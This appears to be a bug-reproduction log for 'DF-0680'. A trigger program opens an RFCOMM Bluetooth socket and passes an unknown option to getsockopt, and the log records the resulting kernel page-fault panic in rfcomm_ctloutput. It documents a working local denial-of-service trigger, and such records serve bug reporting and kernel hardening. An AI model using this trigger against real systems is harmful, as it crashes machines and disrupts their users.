=== DF-0680 baseline run (6.5-DEVELOPMENT #0, netbt.ko loaded) ===
$ ./trigger
[*] DF-0680: RFCOMM PRCO_GETOPT missing-break panic trigger
[*] opening AF_BLUETOOTH/SOCK_STREAM/BTPROTO_RFCOMM socket
[+] socket fd=3 allocated
[*] getsockopt(fd, BTPROTO_RFCOMM, 99=unknown, ...) -> expect kernel panic
<ssh timeout -- guest went down>

=== boot.log panic signature ===
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address    = 0x18
fault code               = supervisor read data, page not present
instruction pointer      = 0x8:0xffffffff8260d030
stack pointer            = 0x10:0xfffff8008d1f8a60
frame pointer            = 0x10:0xfffff8008d1f8a80
processor eflags         = interrupt enabled, resume, IOPL = 0
current process          = Idle
kernel: type 12 trap, code=0

Stopped at      rfcomm_ctloutput.cold.9+0x8:    movl    0x18,%eax
db>